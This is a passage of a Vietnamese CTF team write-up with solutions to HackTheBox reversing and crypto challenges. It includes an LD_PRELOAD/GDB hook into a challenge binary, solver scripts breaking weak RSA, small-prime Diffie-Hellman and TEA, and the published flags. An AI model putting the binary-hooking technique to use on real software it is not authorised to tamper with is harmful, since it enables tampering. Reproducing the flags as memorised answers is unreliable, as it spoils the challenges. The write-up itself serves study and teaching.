    answer = find_sequence_and_extract_bytes(elf)

    print(answer)

    r.sendline(answer)

    solved += 1
flag = r.recv().decode()
print(flag)

Chương trình này dùng 24 byte lưu trên stack và sau đó chép 24 byte (movsb rep) từ vị trí dữ liệu vào stack. Các level tiếp theo có cùng cấu trúc, chỉ khác là số byte và vị trí các data

image

Flag

HTB{y0u_4n4lyz3d_th3_p4tt3ns!}

FlecksOfGold

credit: Trohan0x00

Bài này mình cảm thấy hơi ao trình đối với mình, sau một lúc tìm hiểu thì cơ bản mình biết được chương trình được viết bằng ECS (Entity Component System). Cụ thể mình sẽ khái quát như sau

  • ECS là một kiến trúc phần mềm trong lĩnh vực phát triển trò chơi cũng có thể được áp dụng trong các ứng dụng khác như mô phỏng, thực tế ảo,…

  • ECS cấu tạo gồm 3 phần chính:

    • Entity: Đại diện cho một đối tượng trong trò chơi hoặc ứng dụng. Một thực thể không chứa bất kỳ dữ liệu nào, chỉ đơn giản là một "tên" hoặc "nhãn" để định danh cho các thành phần liên quan.

    • Component: Là các khối xây dựng dữ liệu đơn giản, chứa thông tin về các thuộc tính hoặc hành vi của đối tượng. Mỗi thành phần nên chỉ chứa một phần nhỏ và độc lập của thông tin cần thiết để mô tả một khía cạnh cụ thể của đối tượng.

    • System: Là các thành phần xử lý logic và hành vi của đối tượng. Hệ thống hoạt động bằng cách xử lý các thành phần tương ứng và thực hiện các thao tác như cập nhật, vẽ, va chạm và xử lý sự kiện cho các thực thể tương ứng.

Các thông tin khác có thể check tại đây.

Nhìn sơ qua, đề cho ta file ELF, tiến hành phân tích tĩnh bằng IDA

image

Nhìn hàm main thôi thì mình thấy ngán vl rồi :v, ta hãy phân tích từng phần

image

Đây có thể là khai báo một component gì đó với kích thước là 0x10

image

Nhìn vào đọan này ta có thể thấy được FlagPart được khai báo với 2 byte

zmm0_3, zmm1_1 = rand_pos.constprop.1()
int64_t* world_1 = world
void* rax_44 = ecs_new_w_id(world_1, 0)

Rand_pos được khởi tạo với vị trí ngẫu nhiên trong world sau đó call ecs_new_w_id để tạo ra một Entity mới và cấp phát ID cho nó sau đó gắn position ở trên đã khai báo vào sau đó trỏ tới FLagPart của chúng ta, các FlagPart sẽ được nằm rải rác ở khắp map.

Phần solve bài này mình sẽ update sau sau khi thật sự hiểu còn về phần tricks solve mình có tham khảo các anh nước ngoài đã solve trong discord khá hay.

Đầu tiên do FLECS có thể leak REST API để phân tích ECS, có thể truy cập thông qua giao diện người dùng tại https://www.flecs.dev/explorer/. Tính năng này bị vô hiệu hóa trong thử thách, nhưng có thể được kích hoạt bằng cách viết một library share để hook vào

#include <dlfcn.h>

#include "flecs.h"

const ecs_entity_t ecs_id(EcsRest) =                FLECS_HI_COMPONENT_ID + 118;
void (*ecs_set_id_ptr)(ecs_world_t*, ecs_entity_t, ecs_id_t, size_t, const void*); // dlsym can't access private symbols, we'll set the function pointer via GDB
void *do_hacks(ecs_world_t* world) {
    void (*ecs_set_id)(ecs_world_t*, ecs_entity_t, ecs_id_t, size_t, const void*) = ecs_set_id_ptr;
    ecs_singleton_set(world, EcsRest, {0});
}

Sau đó compile thành file .so bằng g++ -shared -o hack.so hack.cpp

Screenshot from 2024-03-16 12-44-59

Chờ và đợi nó compile sau khi đã compile thành công thì tạo một GDB scirpt như sau:

# Set the environment variable to preload your hack.so library
set environment LD_PRELOAD ./hack.so

# Run the program
run

# Wait for the program to hit a breakpoint or stop
# This is where you can interact with the program and obtain the ecs_world_t pointer

# Finish the current function to get the ecs_world_t pointer ($rax register)
finish

# Assign the value of $rax to $world
set $world = $rax

# Set the function pointer to ecs_set_id
set $ecs_set_id_ptr = &ecs_set_id

# Call the do_hacks function to enable EcsRest for this world
call (void)do_hacks($world)

# Continue executing the program
continue

Sau đó, chúng ta có thể truy cập vào trình duyệt, chứa danh sách Explorers và hiển thị thành phần CanMove. Ta gán CanMove vào Person Adrianne sau đó đợi flag sẽ được reveal trên terminal.

Ngoài ra còn một số cách khác có thể solve cho bài này như ta sẽ set breakpoint ở esc function và get các giá trị ở memory được trỏ đến ở [flag index, char] và chỉ cần sắp xếp lại để lấy flag.

Flag

HTB{br1ng_th3_p4rt5_t0g3th3r}

MetaGaming

credit: Trohan0x00

Bài cho ta luôn source code, cứ ngỡ sẽ dễ ăn nhưng không, source khá dài và rối nên ta phải đọc kỹ.

Mình bắt đầu đọc từ main trước

image

Ta có thể thầy flag format được khai báo từ dữ liệu trên có thể biết được độ dài flag là 40. Xuống bên dưới sẽ là hàm program_t đây là nợi để call các method được define ở bên trên

struct program_t {
    using R = std::array<uint32_t, 15>;

    template<insn_t Insn>
    static constexpr void execute_one(R &regs) {
        if constexpr (Insn.opcode == 0) {
            regs[Insn.op0] = Flag.at(Insn.op1);
        } else if constexpr (Insn.opcode == 1) {
            regs[Insn.op0] = Insn.op1;
        } else if constexpr (Insn.opcode == 2) {
            regs[Insn.op0] ^= Insn.op1;
        } else if constexpr (Insn.opcode == 3) {
            regs[Insn.op0] ^= regs[Insn.op1];
        } else if constexpr (Insn.opcode == 4) {
            regs[Insn.op0] |= Insn.op1;
        } else if constexpr (Insn.opcode == 5) {
            regs[Insn.op0] |= regs[Insn.op1];
        } else if constexpr (Insn.opcode == 6) {
            regs[Insn.op0] &= Insn.op1;
        } else if constexpr (Insn.opcode == 7) {
            regs[Insn.op0] &= regs[Insn.op1];
        } else if constexpr (Insn.opcode == 8) {
            regs[Insn.op0] += Insn.op1;
        } else if constexpr (Insn.opcode == 9) {
            regs[Insn.op0] += regs[Insn.op1];
        } else if constexpr (Insn.opcode == 10) {
            regs[Insn.op0] -= Insn.op1;
        } else if constexpr (Insn.opcode == 11) {
            regs[Insn.op0] -= regs[Insn.op1];
        } else if constexpr (Insn.opcode == 12) {
            regs[Insn.op0] *= Insn.op1;
        } else if constexpr (Insn.opcode == 13) {
            regs[Insn.op0] *= regs[Insn.op1];
        } else if constexpr (Insn.opcode == 14) {
            __noop;
        } else if constexpr (Insn.opcode == 15) {
            __noop;
            __noop;
        } else if constexpr (Insn.opcode == 16) {
            regs[Insn.op0] = rotr(regs[Insn.op0], Insn.op1);
        } else if constexpr (Insn.opcode == 17) {
            regs[Insn.op0] = rotr(regs[Insn.op0], regs[Insn.op1]);
        } else if constexpr (Insn.opcode == 18) {
            regs[Insn.op0] = rotl(regs[Insn.op0], Insn.op1);
        } else if constexpr (Insn.opcode == 19) {
            regs[Insn.op0] = rotl(regs[Insn.op0], regs[Insn.op1]);
        } else if constexpr (Insn.opcode == 20) {
            regs[Insn.op0] = regs[Insn.op1];
        } else if constexpr (Insn.opcode == 21) {
            regs[Insn.op0] = 0;
        } else if constexpr (Insn.opcode == 22) {
            regs[Insn.op0] >>= Insn.op1;
        } else if constexpr (Insn.opcode == 23) {
            regs[Insn.op0] >>= regs[Insn.op1];
        } else if constexpr (Insn.opcode == 24) {
            regs[Insn.op0] <<= Insn.op1;
        } else if constexpr (Insn.opcode == 25) {
            regs[Insn.op0] <<= regs[Insn.op1];
        } else {
            static_assert(always_false_insn_v<Insn>);
        }
    }

Các method này đơn giản sẽ check các opcode trong thanh ghi xem có đúng giá trị như thế không nếu đúng thì sẽ thực hiện các phương thức trong scope ví dụ như method 0 là read flag, 1 = mov, 2 = xor,…

(program::registers[0] == 0x3ee88722 && program::registers[1] == 0xecbdbe2 && program::registers[2] == 0x60b843c4 && program::registers[3] == 0x5da67c7 && program::registers[4] == 0x171ef1e9 && program::registers[5] == 0x52d5b3f7 && program::registers[6] == 0x3ae718c0 && program::registers[7] == 0x8b4aacc2 && program::registers[8] == 0xe5cf78dd && program::registers[9] == 0x4a848edf && program::registers[10] == 0x8f && program::registers[11] == 0x4180000 && program::registers[12] == 0x0 && program::registers[13] == 0xd && program::registers[14] == 0x0

Tổng cộng có 15 thanh ghi từ 0-14 và mỗi thanh ghi sẽ giữ một giá trị đến khi return chương trình, mình đoán các giá trị thanh ghi có sẽ lần lượt là các kí tự của flag

Tóm lại cơ chế của mã là pack 4 ký tự flag trong một thanh ghi, thực hiện +-*^ với giá trị của thanh ghi tiếp theo. Quá trình này hoàn toàn giống nhau đối với mọi thanh ghi (ngoại trừ các thanh ghi cuối cùng). Nhưng do các thanh ghi phụ thuộc với nhau nên ta phải làm ngược lại

regs[14] <<= 8
regs[14] = flag[38]
regs[14] <<= 16
regs[14] = flag[39]
regs[14] <<= 24
regs[14] = 0
regs[13] = ror(regs[13], 10)
regs[11] += 13
regs[11] = ror(regs[11], 13)
regs[12] &= 12
regs[12] -= 12
regs[13] = rol(regs[13], regs[12])
regs[13] -= regs[11]
regs[13] = 13
regs[13] = flag[13]
regs[13] = regs[11]
regs[12] |= regs[10]
regs[12] = 0
regs[10] |= 12
regs[10] = rol(regs[10], 13)
regs[10] ^= regs[13]
regs[11] &= regs[10]
regs[11] = rol(regs[11], regs[12])
regs[11] = flag[12]
regs[11] += 13
regs[11] = ror(regs[11], 13)
regs[11] &= regs[11]

Nhìn vào flow từ 14 - 11, thì nhìn vào flow của thanh ghi thứ 11 ta có thể ror ngược lại dễ dàng để lấy được flag[12] = 'v'

regs[10] = regs[11]
regs[10] = rol(regs[10], 13)
regs[10] |= 12

Tiếp đến là thanh ghi thứ 10 ta cũng có thể lấy được giá trị thanh ghi này, kể từ đây các thanh ghi từ 9 - 0 sẽ thực hiện các phép toán ±*^ tương tự nhau nên ta có thể viết script để lấy giá trị

#include <stdio.h>
#include <stdint.h>

int main()
{
    for (int i = 0; i < 255; ++i)
    {
        for (int j = 0; j < 255; ++j)
        {
            for (int k = 0; k < 255; ++k)
            {
                for (int l = 0; l < 255; ++l)
                {
                    uint32_t reg = (l << 24) | (k << 16) | (j << 8) | i;

                    reg -= 532704100,
                    reg -= 2519542932;
                    reg ^= 2451309277;
                    reg ^= 3957445476;
                    reg += 2583554449;
                    reg -= 1149665327;
                    reg += 3053959226;
                    reg += 3693780276;
                    reg ^= 609918789;
                    reg ^= 2778221635;
                    reg += 3133754553;
                    reg += 3961507338;
                    reg ^= 1829237263;
                    reg ^= 2472519933;
                    reg += 4061630846;
                    reg -= 1181684786;
                    reg -= 390349075;
                    reg += 2883917626;
                    reg -= 3733394420;
                    reg ^= 3895283827;
                    reg ^= 2257053750;
                    reg -= 2770821931;
                    reg ^= 477834410;

                    reg = reg ^ 0x8f;

                    if (reg == 0x4a848edf )
                    {
                        printf("%c%c%c%c", i, j, k, l);
                        break;
                    }
                }
            }
        }
    }
}

Chạy script ta sẽ được 4 char là 4 char cuối của flag 7b0} Tương tự còn lại với các thanh ghi từ 8 - 0

Flag

HTB{m4n_1_l0v4_cXX_TeMpl4t35_9fb60c17b0}


Crypto

Note: Write này được tổng hợp từ team crypto của KCSC! Với sự đóng của Zupp, Giang, Minh

Makeshift

credit: Zupp

Description

  • Source:
from secret import FLAG

flag = FLAG[::-1]
new_flag = ''

for i in range(0, len(flag), 3):
    new_flag += flag[i+1]
    new_flag += flag[i+2]
    new_flag += flag[i]

print(new_flag)
  • Output:
!?}De!e3d_5n_nipaOw_3eTR3bt4{_THB

Solution

Đây là một chall khá dễ và hầu như mình không cần suy nghĩ nhiều, chỉ cần phân tích source và viết công thức ra là được. Có được:

msg = flag[1] + flag[2] + flag[0] + flag[4] + flag[5] + flag[3] + ...

Các vị trí sẽ so le nhau và chỉ cần sắp xếp lại là ta có được flag:

msg = "!?}De!e3d_5n_nipaOw_3eTR3bt4{_THB"
flag = ''

for i in range(0, len(msg), 3):
    flag += msg[i+2]
    flag += msg[i]
    flag += msg[i+1]

print(flag[::-1])

Flag

HTB{4_b3tTeR_w3apOn_i5_n3edeD!?!}

Dynastic

credit: Giang

  • Source:
from secret import FLAG
from random import randint

def to_identity_map(a):
    return ord(a) - 0x41

def from_identity_map(a):
    return chr(a % 26 + 0x41)

def encrypt(m):
    c = ''
    for i in range(len(m)):
        ch = m[i]
        if not ch.isalpha():
            ech = ch
        else:
            chi = to_identity_map(ch)
            ech = from_identity_map(chi + i)
        c += ech
    return c

with open('output.txt', 'w') as f:
    f.write('Make sure you wrap the decrypted text with the HTB flag format :-]\n')
    f.write(encrypt(FLAG))
  • Output:
Make sure you wrap the decrypted text with the HTB flag format :-] DJF_CTA_SWYH_NPDKK_MBZ_QPHTIGPMZY_KRZSQE?!_ZL_CN_PGLIMCU_YU_KJODME_RYGZXL

Vì nó không shift 1 giá trị cố định mà mỗi kí tự của plaintext được shift theo quy luật nhất định (cộng thêm cả vị trí index của kí tự đó trong plaintext nữa).

image

Dựa vào hàm trên mình chỉ cần dịch ngược lại là xong

  • Script:
from pkcs1 import emsa_pkcs1_v15
from Crypto.Util.number import *
from pwn import *
from gmpy2 import *
from sympy.ntheory.residue_ntheory import discrete_log
from Crypto.Util.Padding import pad, unpad
from os import urandom
import math
from pwn import *
import base64 
from tqdm import tqdm
from Crypto.Cipher import AES
import os
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from hashlib import sha256
from Crypto.Hash import SHA256

def to_identity_map(a):
    return ord(a) - 0x41

def from_identity_map(a):
    return chr(a % 26 + 0x41)

def encrypt(m):
    c = ''
    for i in range(len(m)):
        ch = m[i]
        if not ch.isalpha():
            ech = ch
        else:
            chi = to_identity_map(ch)
            ech = from_identity_map(chi + i)
        c += ech
    return c


def decrypt(ct):
    c = ''
    for i in range(len(ct)):
        ch = ct[i]
        if not ch.isalpha():
            res = ch
        else:
            ech = to_identity_map(chr(ord(ch)-i))
            chi = from_identity_map(ech)
            res = chi
        c += res
    return c



pl = "DJF_CTA_SWYH_NPDKK_MBZ_QPHTIGPMZY_KRZSQE?!_ZL_CN_PGLIMCU_YU_KJODME_RYGZXL"
print("HTB{"+decrypt(pl)+"}")

Flag

HTB{DID_YOU_KNOW_ABOUT_THE_TRITHEMIUS_CIPHER?!_IT_IS_SIMILAR_TO_CAESAR_CIPHER}

Primary Knowledge

credit: Zupp

Description

  • Source:
import math
from Crypto.Util.number import getPrime, bytes_to_long
from secret import FLAG

m = bytes_to_long(FLAG)

n = math.prod([getPrime(1024) for _ in range(2**0)])
e = 0x10001
c = pow(m, e, n)

with open('output.txt', 'w') as f:
    f.write(f'{n = }\n')
    f.write(f'{e = }\n')
    f.write(f'{c = }\n')
  • Output:
n = 144595784022187052238125262458232959109987136704231245881870735843030914418780422519197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347
e = 65537
c = 15114190905253542247495696649766224943647565245575793033722173362381895081574269185793855569028304967185492350704248662115269163914175084627211079781200695659317523835901228170250632843476020488370822347715086086989906717932813405479321939826364601353394090531331666739056025477042690259429336665430591623215

Solution

Trước tiên đọc source mình biết được n là một số nguyên tố lỏ 1024 bits, tới đây thì mình vác đi giải luôn. Đơn giản vì khi n là số nguyên tố, phi hàm Euler fn của n sẽ chính bằng n-1, lí do tại sao thì hướng dẫn sử dụng phi hàm Euler đã có (dùng để đếm số các số co-prime với một số cho trước).

Tới code luôn thôi vì ai cũng biết tính d bằng cách nào:

from Crypto.Util.number import *

n = 144595784022187052238125262458232959109987136704231245881870735843030914418780422519197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347
e = 65537
c = 15114190905253542247495696649766224943647565245575793033722173362381895081574269185793855569028304967185492350704248662115269163914175084627211079781200695659317523835901228170250632843476020488370822347715086086989906717932813405479321939826364601353394090531331666739056025477042690259429336665430591623215

d = inverse(e, n-1)
flag = long_to_bytes(pow(c, d, n)).decode()
print(flag)

Flag

HTB{0h_d4mn_4ny7h1ng_r41s3d_t0_0_1s_1!!!}

Blunt

credit: Zupp

Description

  • Source:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import getPrime, long_to_bytes
from hashlib import sha256

from secret import FLAG

import random


p = getPrime(32)
print(f'p = 0x{p:x}')

g = random.randint(1, p-1)
print(f'g = 0x{g:x}')

a = random.randint(1, p-1)
b = random.randint(1, p-1)

A, B = pow(g, a, p), pow(g, b, p)

print(f'A = 0x{A:x}')
print(f'B = 0x{B:x}')

C = pow(A, b, p)
assert C == pow(B, a, p)

# now use it as shared secret
hash = sha256()
hash.update(long_to_bytes(C))

key = hash.digest()[:16]
iv = b'\xc1V2\xe7\xed\xc7@8\xf9\\\xef\x80\xd7\x80L*'
cipher = AES.new(key, AES.MODE_CBC, iv)

encrypted = cipher.encrypt(pad(FLAG, 16))
print(f'ciphertext = {encrypted}')
  • Output:
p = 0xdd6cc28d
g = 0x83e21c05
A = 0xcfabb6dd
B = 0xc4a21ba9
ciphertext = b'\x94\x99\x01\xd1\xad\x95\xe0\x13\xb3\xacZj{\x97|z\x1a(&\xe8\x01\xe4Y\x08\xc4\xbeN\xcd\xb2*\xe6{'

Solution

Tới bài này thì mức độ đã được nâng lên một chút (từ very easy thành easy 🐧), về cơ bản đây là một giao thức mà ai học Crypto cũng biết: DH. Bài này mình thấy p khá bé và còn là Smooth Number nên tìm a bằng logarit là khả thi.

from sympy import discrete_log
from hashlib import sha256
from Crypto.Util.number import long_to_bytes
from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES

'''
A = g^a (mod p)
B = g^b (mod p)
C = g^a^b (mod p) = A^b (mod p)
'''

p = 0xdd6cc28d
g = 0x83e21c05
A = 0xcfabb6dd
B = 0xc4a21ba9

ciphertext = b'\x94\x99\x01\xd1\xad\x95\xe0\x13\xb3\xacZj{\x97|z\x1a(&\xe8\x01\xe4Y\x08\xc4\xbeN\xcd\xb2*\xe6{'
iv = b'\xc1V2\xe7\xed\xc7@8\xf9\\\xef\x80\xd7\x80L*'

a = discrete_log(p, A, g)
b = discrete_log(p, B, g)
assert pow(A, b, p) == pow(B, a, p)
C = pow(A, b, p)
hash = sha256()
hash.update(long_to_bytes(C))
key = hash.digest()[:16]

cipher = AES.new(key, AES.MODE_CBC, iv)
flag = unpad(cipher.decrypt(ciphertext), 16)

print(flag.decode())

Flag

HTB{y0u_n3ed_a_b1gGeR_w3ap0n!!}

Iced TEA

credit: Zupp

Description

  • Source:
import os
from secret import FLAG
from Crypto.Util.Padding import pad
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b
from enum import Enum

class Mode(Enum):
    ECB = 0x01
    CBC = 0x02

class Cipher:
    def __init__(self, key, iv=None):
        self.BLOCK_SIZE = 64
        self.KEY = [b2l(key[i:i+self.BLOCK_SIZE//16]) for i in range(0, len(key), self.BLOCK_SIZE//16)]
        self.DELTA = 0x9e3779b9
        self.IV = iv
        if self.IV:
            self.mode = Mode.CBC
        else:
            self.mode = Mode.ECB

    def _xor(self, a, b):
        return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b))

    def encrypt(self, msg):
        msg = pad(msg, self.BLOCK_SIZE//8)
        blocks = [msg[i:i+self.BLOCK_SIZE//8] for i in range(0, len(msg), self.BLOCK_SIZE//8)]

        ct = b''
        if self.mode == Mode.ECB:
            for pt in blocks:
                ct += self.encrypt_block(pt)
        elif self.mode == Mode.CBC:
            X = self.IV
            for pt in blocks:
                enc_block = self.encrypt_block(self._xor(X, pt))
                ct += enc_block
                X = enc_block
        return ct

    def encrypt_block(self, msg):
        m0 = b2l(msg[:4])
        m1 = b2l(msg[4:])
        K = self.KEY
        msk = (1 << (self.BLOCK_SIZE//2)) - 1

        s = 0
        for i in range(32):
            s += self.DELTA
            m0 += ((m1 << 4) + K[0]) ^ (m1 + s) ^ ((m1 >> 5) + K[1])
            m0 &= msk
            m1 += ((m0 << 4) + K[2]) ^ (m0 + s) ^ ((m0 >> 5) + K[3])
            m1 &= msk

        m = ((m0 << (self.BLOCK_SIZE//2)) + m1) & ((1 << self.BLOCK_SIZE) - 1) # m = m0 || m1

        return l2b(m)



if __name__ == '__main__':
    KEY = os.urandom(16)
    cipher = Cipher(KEY)
    ct = cipher.encrypt(FLAG)
    with open('output.txt', 'w') as f:
        f.write(f'Key : {KEY.hex()}\nCiphertext : {ct.hex()}')
  • Output:
Key : 850c1413787c389e0b34437a6828a1b2
Ciphertext : b36c62d96d9daaa90634242e1e6c76556d020de35f7a3b248ed71351cc3f3da97d4d8fd0ebc5c06a655eb57f2b250dcb2b39c8b2000297f635ce4a44110ec66596c50624d6ab582b2fd92228a21ad9eece4729e589aba644393f57736a0b870308ff00d778214f238056b8cf5721a843

Solution

Thật ra bài này chỉ cần làm ngược lại hàm encrypt để lấy hàm decrypt là xong chứ không cần phải làm gì nhiều

from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
from Crypto.Util.Padding import unpad
from enum import Enum

class Mode(Enum):
    ECB = 0x01
    CBC = 0x02

class Cipher:
    def __init__(self, key, iv=None):
        self.BLOCK_SIZE = 64
        self.KEY = [b2l(key[i:i+self.BLOCK_SIZE//16]) for i in range(0, len(key), self.BLOCK_SIZE//16)]
        self.DELTA = 0x9e3779b9
        self.IV = iv
        if self.IV:
            self.mode = Mode.CBC
        else:
            self.mode = Mode.ECB

    def _xor(self, a, b):
        return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b))

    def decrypt(self, ciphertext):
        blocks = [ciphertext[i:i+self.BLOCK_SIZE//8] for i in range(0, len(ciphertext), self.BLOCK_SIZE//8)]

        pt = b''
        if self.mode == Mode.ECB:
            for ct_block in blocks:
                pt += self.decrypt_block(ct_block)
        elif self.mode == Mode.CBC:
            X = self.IV
            for ct_block in blocks:
                dec_block = self.decrypt_block(ct_block)
                pt += self._xor(X, dec_block)
                X = ct_block
        return pt

    def decrypt_block(self, ciphertext):
        c = b2l(ciphertext)
        K = self.KEY
        msk = (1 << (self.BLOCK_SIZE//2)) - 1

        m0 = c >> (self.BLOCK_SIZE//2)
        m1 = c & ((1 << (self.BLOCK_SIZE//2)) - 1)

        s = self.DELTA * 32
        for i in range(32):
            m1 -= ((m0 << 4) + K[2]) ^ (m0 + s) ^ ((m0 >> 5) + K[3])
            m1 &= msk
            m0 -= ((m1 << 4) + K[0]) ^ (m1 + s) ^ ((m1 >> 5) + K[1])
            m0 &= msk
            s -= self.DELTA

        m = (m0 << (self.BLOCK_SIZE//2)) | m1
        return l2b(m)


key = '850c1413787c389e0b34437a6828a1b2'
ct = 'b36c62d96d9daaa90634242e1e6c76556d020de35f7a3b248ed71351cc3f3da97d4d8fd0ebc5c06a655eb57f2b250dcb2b39c8b2000297f635ce4a44110ec66596c50624d6ab582b2fd92228a21ad9eece4729e589aba644393f57736a0b870308ff00d778214f238056b8cf5721a843'
key, ct = bytes.fromhex(key), bytes.fromhex(ct)

cipher = Cipher(key)
flag = unpad(cipher.decrypt(ct), 16).decode()
print(flag)

Flag

HTB{th1s_1s_th3_t1ny_3ncryp710n_4lg0r1thm_____y0u_m1ght_h4v3_4lr34dy_s7umbl3d_up0n_1t_1f_y0u_d0_r3v3rs1ng}

Arranged

credit: Zupp

Description

  • Source :
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import long_to_bytes
from hashlib import sha256

from secret import FLAG, p, b, priv_a, priv_b

F = GF(p)
E = EllipticCurve(F, [726, b])
G = E(926644437000604217447316655857202297402572559368538978912888106419470011487878351667380679323664062362524967242819810112524880301882054682462685841995367, 4856802955780604241403155772782614224057462426619061437325274365157616489963087648882578621484232159439344263863246191729458550632500259702851115715803253)

A = G * priv_a
B = G * priv_b

print(A)
print(B)

C = priv_a * B

assert C == priv_b * A

# now use it as shared secret
secret = C[0]

hash = sha256()
hash.update(long_to_bytes(secret))

key = hash.digest()[16:32]
iv = b'u\x8fo\x9aK\xc5\x17\xa7>[\x18\xa3\xc5\x11\x9en'
cipher = AES.new(key, AES.MODE_CBC, iv)

encrypted = cipher.encrypt(pad(FLAG, 16))
print(encrypted)
  • Output:
(6174416269259286934151093673164493189253884617479643341333149124572806980379124586263533252636111274525178176274923169261099721987218035121599399265706997 : 2456156841357590320251214761807569562271603953403894230401577941817844043774935363309919542532110972731996540328492565967313383895865130190496346350907696 : 1)
(4226762176873291628054959228555764767094892520498623417484902164747532571129516149589498324130156426781285021938363575037142149243496535991590582169062734 : 425803237362195796450773819823046131597391930883675502922975433050925120921590881749610863732987162129269250945941632435026800264517318677407220354869865 : 1)
b'V\x1b\xc6&\x04Z\xb0c\xec\x1a\tn\xd9\xa6(\xc1\xe1\xc5I\xf5\x1c\xd3\xa7\xdd\xa0\x84j\x9bob\x9d"\xd8\xf7\x98?^\x9dA{\xde\x08\x8f\x84i\xbf\x1f\xab'

Solution

Well đến đây thì chall đã sang một mức độ khác là medium (nhưng cũng không quá khó). Đọc source mình biết được bài sử dụng ECC và giao thức là DH-ECC. Đề đã cung cấp ivenc, thứ mình cần tìm lại là key.

Ở đây, key cũng chính là shared_secret trong các dạng bài giao thức khóa DH quen thuộc, và vấn đề nằm ở hai khóa riêng priv_apriv_b (chỉ cần tìm một trong hai là có thể giải được bài rồi). Tuy nhiên, bài không define cho ta một ellip cụ thể, rõ ràng mình cần tìm lại ellip này.

Ta biết được 3 điểm G, AB đều thuộc ellip xét trong trường Fp, cụ thể tọa độ của 3 điểm này sẽ thỏa mãn phương trình của ellip, hay:

y_G ^ 2 = x_G ^ 3 + 726*x_G + b (mod p) (1)
y_A ^ 2 = x_A ^ 3 + 726*x_A + b (mod p) (2)
y_B ^ 2 = x_B ^ 3 + 726*x_B + b (mod p) (3)

Tại đây ta cần tìm lại hệ số b và trường của ellip. Trừ phương trình (1) cho (2) và (3) và chuyển vế, ta thu được 2 phương trình dạng left = 0 (mod p), lấy GCD của hai cái left này giúp mình tìm lại p, đồng thời giải luôn được b:

ef L(P):
    x, y = P[0], P[1]
    return y**2 - x**3 - 726*x

G = (926644437000604217447316655857202297402572559368538978912888106419470011487878351667380679323664062362524967242819810112524880301882054682462685841995367, 4856802955780604241403155772782614224057462426619061437325274365157616489963087648882578621484232159439344263863246191729458550632500259702851115715803253)
A = (6174416269259286934151093673164493189253884617479643341333149124572806980379124586263533252636111274525178176274923169261099721987218035121599399265706997, 2456156841357590320251214761807569562271603953403894230401577941817844043774935363309919542532110972731996540328492565967313383895865130190496346350907696)
B = (4226762176873291628054959228555764767094892520498623417484902164747532571129516149589498324130156426781285021938363575037142149243496535991590582169062734, 425803237362195796450773819823046131597391930883675502922975433050925120921590881749610863732987162129269250945941632435026800264517318677407220354869865)

p = GCD(L(G) - L(A), L(G) - L(B))
b = L(G) % p

assert (G[1]**2) % p == (G[0]**3 + 726*G[0] + b) % p
assert (A[1]**2) % p == (A[0]**3 + 726*A[0] + b) % p
assert (B[1]**2) % p == (B[0]**3 + 726*B[0] + b) % p

Ta đã recover lại được ellip, giờ cần tìm priv_a hoặc priv_b. Mình đã nghĩ tới ý tưởng áp dụng Smart's Attack nhưng khi check lại thì điều kiện E.order() == p bị sai. Đánh liều dlog ra thì lại làm được hoặc là mình cũng có thể dùng baby step giant step 🐧:

F = GF(p)
E = EllipticCurve(F, [726, b])

G, A, B = E(G), E(A), E(B)
priv_a = discrete_log(A, G, operation='+')

Chạy hơi lâu chút nhưng cuối cùng sẽ ra được priv_a = 4, đem đi giải key là xong (ai ngựa ngựa có thể tìm luôn priv_b rồi assert thử xem đúng hay sai).

Full code:

from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import long_to_bytes
from hashlib import sha256

def L(P):
    x, y = P[0], P[1]
    return y**2 - x**3 - 726*x

G = (926644437000604217447316655857202297402572559368538978912888106419470011487878351667380679323664062362524967242819810112524880301882054682462685841995367, 4856802955780604241403155772782614224057462426619061437325274365157616489963087648882578621484232159439344263863246191729458550632500259702851115715803253)
A = (6174416269259286934151093673164493189253884617479643341333149124572806980379124586263533252636111274525178176274923169261099721987218035121599399265706997, 2456156841357590320251214761807569562271603953403894230401577941817844043774935363309919542532110972731996540328492565967313383895865130190496346350907696)
B = (4226762176873291628054959228555764767094892520498623417484902164747532571129516149589498324130156426781285021938363575037142149243496535991590582169062734, 425803237362195796450773819823046131597391930883675502922975433050925120921590881749610863732987162129269250945941632435026800264517318677407220354869865)

p = GCD(L(G) - L(A), L(A) - L(B))
b = L(G) % p

assert (G[1]**2) % p == (G[0]**3 + 726*G[0] + b) % p
assert (A[1]**2) % p == (A[0]**3 + 726*A[0] + b) % p
assert (B[1]**2) % p == (B[0]**3 + 726*B[0] + b) % p

F = GF(p)
E = EllipticCurve(F, [726, b])

G, A, B = E(G), E(A), E(B)
# priv_a = discrete_log(A, G, operation='+')
priv_a = 4
shared_secret = (B * priv_a).xy()[0]
hash = sha256()
hash.update(long_to_bytes(int(shared_secret)))

key = hash.digest()[16:32]
ciphertext = b'V\x1b\xc6&\x04Z\xb0c\xec\x1a\tn\xd9\xa6(\xc1\xe1\xc5I\xf5\x1c\xd3\xa7\xdd\xa0\x84j\x9bob\x9d"\xd8\xf7\x98?^\x9dA{\xde\x08\x8f\x84i\xbf\x1f\xab'
iv = b'u\x8fo\x9aK\xc5\x17\xa7>[\x18\xa3\xc5\x11\x9en'
cipher = AES.new(key, AES.MODE_CBC, iv)
flag = unpad(cipher.decrypt(ciphertext), 16)

print(flag.decode())

Flag

HTB{0rD3r_mUsT_b3_prEs3RveD_!!@!}

Partial Tenacity

credit: Zupp

Description

  • Source:
from secret import FLAG
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

class RSACipher:
    def __init__(self, bits):
        self.key = RSA.generate(bits)
        self.cipher = PKCS1_OAEP.new(self.key)

    def encrypt(self, m):
        return self.cipher.encrypt(m)

    def decrypt(self, c):
        return self.cipher.decrypt(c)

cipher = RSACipher(1024)

enc_flag = cipher.encrypt(FLAG)

with open('output.txt', 'w') as f:
    f.write(f'n = {cipher.key.n}\n')
